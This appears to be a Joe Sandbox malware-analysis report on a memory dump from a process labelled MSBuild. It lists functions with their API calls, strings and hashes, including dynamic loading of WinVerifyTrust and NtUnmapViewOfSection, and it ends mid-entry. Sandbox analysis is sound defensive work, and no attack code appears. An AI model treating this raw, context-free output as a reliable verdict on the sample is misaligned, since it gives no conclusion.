Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 5abb18a9e6aec7c58647842c8af69470c67da18008ee263b7e822c066d412153
Instruction ID: 42cfc335f10f1d8e5b390a436016f7f9263ad79b4b2ae16d4b01a6ebe8193441
Opcode Fuzzy Hash: 5abb18a9e6aec7c58647842c8af69470c67da18008ee263b7e822c066d412153
Instruction Fuzzy Hash: 8FE04FB0009386DBFF045F65CA0A721FFE8A703344F004427AB088D340EBB8C040DB60

Function 6BCE0080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BCB7204), ref: 6BCE0088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6BCE00A7
FreeLibrary.KERNEL32(?,6BCB7204), ref: 6BCE00BE

Strings

wintrust.dll, xrefs: 6BCE0083
CryptCATAdminAcquireContext2, xrefs: 6BCE00A1

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: f1c348e491bcfe19eb60a62d803d2ce6e5266d24b0e68b72c4257d9b9937fc1c
Instruction ID: 61f4862039d89799f649587a7bdf507e31655fad9630ad2e04645f07635d032e
Opcode Fuzzy Hash: f1c348e491bcfe19eb60a62d803d2ce6e5266d24b0e68b72c4257d9b9937fc1c
Instruction Fuzzy Hash: D3E09AB44407859BFF04AF66C819711FBE8B70B755F004927EF14CA250EBB9D0459F61

Function 6BD0C290 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BCB77C5), ref: 6BD0C298
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle), ref: 6BD0C2B7
FreeLibrary.KERNEL32(?,6BCB77C5), ref: 6BD0C2CC

Strings

wintrust.dll, xrefs: 6BD0C293
CryptCATAdminCalcHashFromFileHandle, xrefs: 6BD0C2B1

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle$wintrust.dll
API String ID: 145871493-1423897460
Opcode ID: 63ae529bd133fe0a4141775317dd9a590097ba520cc65a113e1c628fd9c8f50a
Instruction ID: 6142940b930d7335a1a838aad4c42640b6a8819708043c980365d5c355a8cf3f
Opcode Fuzzy Hash: 63ae529bd133fe0a4141775317dd9a590097ba520cc65a113e1c628fd9c8f50a
Instruction Fuzzy Hash: 57E092B54412819FFF046F69C908702FBE8EB0A614F4804A7EF048D650EBB9C004CB70

Function 6BD0BAB0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernelbase.dll,?,6BCB05BC), ref: 6BD0BAB8
GetProcAddress.KERNEL32(00000000,VirtualAlloc2), ref: 6BD0BAD7
FreeLibrary.KERNEL32(?,6BCB05BC), ref: 6BD0BAEC

Strings

kernelbase.dll, xrefs: 6BD0BAB3
VirtualAlloc2, xrefs: 6BD0BAD1

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: VirtualAlloc2$kernelbase.dll
API String ID: 145871493-1188699709
Opcode ID: da24324a46de1a0ae22e74b5f940ccfaaa7c95717816bff09c35c663430f650a
Instruction ID: f6e4df8d0e02782d3fc0d8ed4b4a6299f2a5cd14686703a8620077da85ef0ccb
Opcode Fuzzy Hash: da24324a46de1a0ae22e74b5f940ccfaaa7c95717816bff09c35c663430f650a
Instruction Fuzzy Hash: C9E0B6B04053C69BFF049F62CA18B06FFE8E706224F15046BAB049D280EBF9C0489B24

Function 6BD0C240 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BCB77F6), ref: 6BD0C248
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext), ref: 6BD0C267
FreeLibrary.KERNEL32(?,6BCB77F6), ref: 6BD0C27C

Strings

CryptCATAdminAcquireContext, xrefs: 6BD0C261
wintrust.dll, xrefs: 6BD0C243

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext$wintrust.dll
API String ID: 145871493-3357690181
Opcode ID: 78153250e7c71a03d261a53d0926ae615a0524be29afa28ee23935af2ef83ec6
Instruction ID: cb2613770c64e9bcf21f1daa815f0f88b2769a53c181739d619b65c49c7e7cbb
Opcode Fuzzy Hash: 78153250e7c71a03d261a53d0926ae615a0524be29afa28ee23935af2ef83ec6
Instruction Fuzzy Hash: E8E092B44052899BFF086F668808B06FAE8E70B314F104867EB04CE240EBB8C044AF60

Function 6BD0C1F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BD0C1DE,?,00000000,?,00000000,?,6BCB779F), ref: 6BD0C1F8
GetProcAddress.KERNEL32(00000000,WinVerifyTrust), ref: 6BD0C217
FreeLibrary.KERNEL32(?,6BD0C1DE,?,00000000,?,00000000,?,6BCB779F), ref: 6BD0C22C

Strings

WinVerifyTrust, xrefs: 6BD0C211
wintrust.dll, xrefs: 6BD0C1F3

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: WinVerifyTrust$wintrust.dll
API String ID: 145871493-2991032369
Opcode ID: a422245320100374d7990071763896cc4835465fb317ae2e72575acd34a57f86
Instruction ID: 157e007527e3a07b759cc42b6e9451742196941377290fbf4d0a6efe35f2cfa4
Opcode Fuzzy Hash: a422245320100374d7990071763896cc4835465fb317ae2e72575acd34a57f86
Instruction Fuzzy Hash: 1DE0B6B44043C19BFF08AF75CA08702FEE8BB06614F040A27EB04DD645EBBAC0048B60

Function 6BD07600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6BD07592), ref: 6BD07608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6BD07627
FreeLibrary.KERNEL32(?,6BD07592), ref: 6BD0763C

Strings

ntdll.dll, xrefs: 6BD07603
NtUnmapViewOfSection, xrefs: 6BD07621

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: e7935b11f0b93e52e5c6d1c89383b41bb79757359f48f5d1185f0988e282a385
Instruction ID: b37da2fd709125ca68717466e05cf4a9fbe84dd705541b4929588fef91eb5524
Opcode Fuzzy Hash: e7935b11f0b93e52e5c6d1c89383b41bb79757359f48f5d1185f0988e282a385
Instruction Fuzzy Hash: 4BE092B0904385ABFF006F658C08709BAA8E71A2A9F104417EB05DE240EBB8C0048F28

Function 6BD075B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6BD0748B,?), ref: 6BD075B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6BD075D7
FreeLibrary.KERNEL32(?,6BD0748B,?), ref: 6BD075EC

Strings

RtlNtStatusToDosError, xrefs: 6BD075D1
ntdll.dll, xrefs: 6BD075B3

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 128454fad048c593ab691c2eb8fea8250c3b6440711cbe5981f949760cac9be5
Instruction ID: a9976eddf58b050db4c252183fd1ad95b8a35d99677ec43424dc27cb8d6d35f0
Opcode Fuzzy Hash: 128454fad048c593ab691c2eb8fea8250c3b6440711cbe5981f949760cac9be5
Instruction Fuzzy Hash: 69E0BF71800385BBFF005F62C848B09FFE8EB06264F204467AB04DE240DBB4C045CF20

Function 6BD0BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6BD0BE49), ref: 6BD0BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6BD0BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6BD0BE49), ref: 6BD0BF38
RtlReAllocateHeap.NTDLL ref: 6BD0BF83
RtlFreeHeap.NTDLL(6BD0BE49,00000000), ref: 6BD0BFA6

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 4abedbc1fca4b930adcfb34aef2850dfd8b1596ac10eba0f1e7197c1cb11cbba
Instruction ID: bb8e90180b9ffecab3d52a64c44972d2910b31633580b9f6aaa2bf1d57553c2f
Opcode Fuzzy Hash: 4abedbc1fca4b930adcfb34aef2850dfd8b1596ac10eba0f1e7197c1cb11cbba
Instruction Fuzzy Hash: 0E51C271A042018FE710CF68CD80BAAB7A2FFC4320F294679D555AB794DB39F9068F90

Function 6BCF8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6BCEB58D,?,?,?,?,?,?,?,6BD1D734,?,?,?,6BD1D734), ref: 6BCF8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6BCEB58D,?,?,?,?,?,?,?,6BD1D734,?,?,?,6BD1D734), ref: 6BCF8EBF
free.MOZGLUE(?,?,?,?,6BCEB58D,?,?,?,?,?,?,?,6BD1D734,?,?,?), ref: 6BCF8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6BCEB58D,?,?,?,?,?,?,?,6BD1D734,?,?,?,6BD1D734), ref: 6BCF8F46
free.MOZGLUE(?,?,?,?,6BCEB58D,?,?,?,?,?,?,?,6BD1D734,?,?,?), ref: 6BCF8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6BCEB58D,?,?,?,?,?,?,?,6BD1D734,?,?,?), ref: 6BCF8F8F

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: d7e1d87181f7dac0f645b1333b0a57b8bdc61bcd18b36aa9f4361d95a7dd66b2
Instruction ID: 66bb53f32e2b42691b630a50806f00d366a825a7a8cfae6d6afd480d3a841226
Opcode Fuzzy Hash: d7e1d87181f7dac0f645b1333b0a57b8bdc61bcd18b36aa9f4361d95a7dd66b2
Instruction Fuzzy Hash: 6F519FB1A10616CFEB14CF69D880AAEB3B6FF45314F1504A9D616EB340F735EA06CB91

Function 6BCB60E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6BCB5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6BCB60F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6BCB5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6BCB6180
free.MOZGLUE(?,?,?,?,6BCB5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BCB6211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6BCB5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6BCB6229
free.MOZGLUE(?,?,?,?,6BCB5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BCB625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6BCB5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BCB6271

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 00b41095fba65310376c1c100fc5d84dfae2803ec8b2a87c688a24b9d5f6796d
Instruction ID: 42052d4ba4d50dadb46d1307f9f5bd898638eac38b0e5621504a84bb60b779f8
Opcode Fuzzy Hash: 00b41095fba65310376c1c100fc5d84dfae2803ec8b2a87c688a24b9d5f6796d
Instruction Fuzzy Hash: 3F5157B1A106068BEB14CFA8D8817AEB7B5BF45309F100479C6169B351F739EA58CB62

Function 6BCF27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6BCF2620,?,?,?,6BCE60AA,6BCE5FCB,6BCE79A3), ref: 6BCF284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6BCF2620,?,?,?,6BCE60AA,6BCE5FCB,6BCE79A3), ref: 6BCF289A
free.MOZGLUE(?,?,?,6BCF2620,?,?,?,6BCE60AA,6BCE5FCB,6BCE79A3), ref: 6BCF28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6BCF2620,?,?,?,6BCE60AA,6BCE5FCB,6BCE79A3), ref: 6BCF2910
free.MOZGLUE(00000001,?,?,6BCF2620,?,?,?,6BCE60AA,6BCE5FCB,6BCE79A3), ref: 6BCF293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6BCF2620,?,?,?,6BCE60AA,6BCE5FCB,6BCE79A3), ref: 6BCF294E

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: cacbbf17a3cc339ffd5f6c8662a172a8320d7283d6d449a8b1a0c55228dbd949
Instruction ID: 3eadbe8bde7766163c12c0399763b6a7bc0b348413cb8523a8ea1a585307adbc
Opcode Fuzzy Hash: cacbbf17a3cc339ffd5f6c8662a172a8320d7283d6d449a8b1a0c55228dbd949
Instruction Fuzzy Hash: 4C4190B1A1024A8BEB14CF68D89076A77F9EF45704F1404B9E666EF340F735EA05CB61

Function 6BCACFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BD2E784), ref: 6BCACFF6
LeaveCriticalSection.KERNEL32(6BD2E784), ref: 6BCAD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6BCAD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6BCAD139

Strings

MOZ_CRASH(), xrefs: 6BCAD187

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 982cfd46744457bfe6e2b0ea309522400b529cf39a165f22e5dc2c3510d641be
Instruction ID: 025f6460a27a1852d1e4eca0889253ad0a3b2abef3f39c1f48e354accac44c28
Opcode Fuzzy Hash: 982cfd46744457bfe6e2b0ea309522400b529cf39a165f22e5dc2c3510d641be
Instruction Fuzzy Hash: A141B571F613564FEB04CE7D8D953AAB6A1EB49710F14013AEF19EB384E7B59D008B90

Function 6BCA4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6BCA4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6BCA4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BCA4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6BCA4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6BCA4F1E

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 33d5c19442969aa3535e88539813a3510a523b3135a45c120051d7ce3cab5ddb
Instruction ID: bf6734dfd08c3eae08a0e9d85c12a0d4e389a532de939d3343b709985a7a94ce
Opcode Fuzzy Hash: 33d5c19442969aa3535e88539813a3510a523b3135a45c120051d7ce3cab5ddb
Instruction Fuzzy Hash: C241CE71618B029FC704CF69C88095BF7E4BF89350F108A2DF9669B241EB38EA54CB91

Function 6BCED210 Relevance: 7.6, APIs: 5, Instructions: 115stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,6BCB5820,?), ref: 6BCED21F
moz_xmalloc.MOZGLUE(00000001,?,?,6BCB5820,?), ref: 6BCED22E

Part of subcall function 6BCBCA10: malloc.MOZGLUE(?), ref: 6BCBCA26

memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,6BCB5820,?), ref: 6BCED242
free.MOZGLUE(00000000,?,?,?,?,?,?,6BCB5820,?), ref: 6BCED253

Part of subcall function 6BCC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6BCC5EDB
Part of subcall function 6BCC5E90: memset.VCRUNTIME140(6BD07765,000000E5,55CCCCCC), ref: 6BCC5F27
Part of subcall function 6BCC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6BCC5FB2

memcpy.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,6BCB5820,?), ref: 6BCED280

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CriticalSectionmemset$EnterLeavefreemallocmemcpymoz_xmallocstrlen
String ID:
API String ID: 2029485308-0
Opcode ID: 8e7b1c0ac59deb7e6c1d119860707c3dfa79c505de52603c6fed5cc152aae8ec
Instruction ID: 3cd1342139f55de5bda7993d66ce6c5dbb80c00ef8fd90ba453ebe5f80f442e5
Opcode Fuzzy Hash: 8e7b1c0ac59deb7e6c1d119860707c3dfa79c505de52603c6fed5cc152aae8ec
Instruction Fuzzy Hash: DB31E4B5951215DBCB00CF68C481A6EBB75BF89304F240169D9146B301E37AEE03C7E1

Function 6BCBC150 Relevance: 7.6, APIs: 5, Instructions: 110stringtimeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6BCBC1BC
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BCBC1DC

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Now@Stamp@mozilla@@TimeV12@_strlen
String ID:
API String ID: 1885715127-0
Opcode ID: fa5efa5107e93bf7249bf454748c615dd2b2c780ec625100a6dbf25420f3f12d
Instruction ID: b130f47a6c7aac96451722fe506acf9252b13704919cd74be9ea2e93e70492c7
Opcode Fuzzy Hash: fa5efa5107e93bf7249bf454748c615dd2b2c780ec625100a6dbf25420f3f12d
Instruction Fuzzy Hash: 9841A1B1D287409FD710CF68D58178BBBE4BF96704F41856EE9885B212F7389644CB93

Function 6BD0A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BD2F770), ref: 6BD0A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BD0A87B

Part of subcall function 6BD0A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6BD0A88F,00000000), ref: 6BD0A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6BD0A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BD0A90C
LeaveCriticalSection.KERNEL32(6BD2F770), ref: 6BD0A97E

Memory Dump Source

